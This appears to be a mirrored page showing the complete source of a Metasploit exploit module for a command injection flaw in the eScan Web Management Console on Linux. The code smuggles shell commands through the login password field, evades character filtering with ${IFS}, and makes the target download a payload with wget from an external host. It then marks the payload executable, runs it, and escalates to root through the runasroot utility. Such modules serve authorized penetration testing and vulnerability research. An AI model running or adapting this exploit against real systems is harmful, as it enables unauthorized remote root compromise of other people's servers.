Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/antivirus/escan_password_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info={})14super(update_info(info,15'Name' => "eScan Web Management Console Command Injection",16'Description' => %q{17This module exploits a command injection vulnerability found in the eScan Web Management18Console. The vulnerability exists while processing CheckPass login requests. An attacker19with a valid username can use a malformed password to execute arbitrary commands. With20mwconf privileges, the runasroot utility can be abused to get root privileges. This module21has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Joxean Koret', # Vulnerability Discovery and PoC27'juan vazquez' # Metasploit module28],29'References' =>30[31[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean32],33'Payload' =>34{35'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD36'DisableNops' => true37},38'Arch' => ARCH_X86,39'Platform' => 'linux',40'Privileged' => true,41'Stance' => Msf::Exploit::Stance::Aggressive,42'Targets' =>43[44['eScan 5.5-2 / Linux', {}],45],46'DisclosureDate' => '2014-04-04',47'DefaultTarget' => 0))4849register_options(50[51Opt::RPORT(10080),52OptString.new('USERNAME', [ true, 'A valid eScan username' ]),53OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),54OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),55OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),56OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),57OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),58])59end606162def check63res = send_request_cgi({64'method' => 'GET',65'uri' => normalize_uri(target_uri.path.to_s, 'index.php')66})6768if res and res.code == 200 and res.body =~ /eScan WebAdmin/69return Exploit::CheckCode::Detected70end7172Exploit::CheckCode::Unknown73end7475def cmd_exec(session, cmd)76case session.type77when /meterpreter/78print_warning("Use a shell payload in order to get root!")79when /shell/80o = session.shell_command_token(cmd)81o.chomp! if o82end83return "" if o.nil?84return o85end8687# Escalating privileges here because runasroot only can't be executed by88# mwconf uid (196).89def on_new_session(session)90cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")91super92end9394def primer95@payload_url = get_uri96wget_payload97end9899def on_request_uri(cli, request)100print_status("Request: #{request.uri}")101if request.uri =~ /#{Regexp.escape(get_resource)}/102print_status("Sending payload...")103send_response(cli, @pl)104end105end106107def autofilter108true109end110111def exploit112@pl = generate_payload_exe113114@payload_url = ""115116if datastore['EXTURL'].blank?117begin118Timeout.timeout(datastore['HTTPDELAY']) {super}119rescue Timeout::Error120end121exec_payload122else123@payload_url = datastore['EXTURL']124wget_payload125exec_payload126end127end128129# we execute in this way, instead of an ARCH_CMD130# payload because real badchars are: |&)(!><'"`[space]131def wget_payload132@dropped_elf = rand_text_alpha(rand(5) + 3)133command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"134135print_status("Downloading the payload to the target machine...")136res = exec_command(command)137if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/138register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))139else140fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")141end142end143144def exec_payload145command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"146command << File.join(datastore['WRITABLEDIR'], @dropped_elf)147148print_status("Executing the payload...")149exec_command(command, 1)150end151152def exec_command(command, timeout=20)153send_request_cgi({154'method' => 'POST',155'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),156'vars_post' => {157'uname' => datastore['USERNAME'],158'pass' => ";#{command}",159'product_name' => 'escan',160'language' => 'English',161'login' => 'Login'162}163}, timeout)164end165end166167168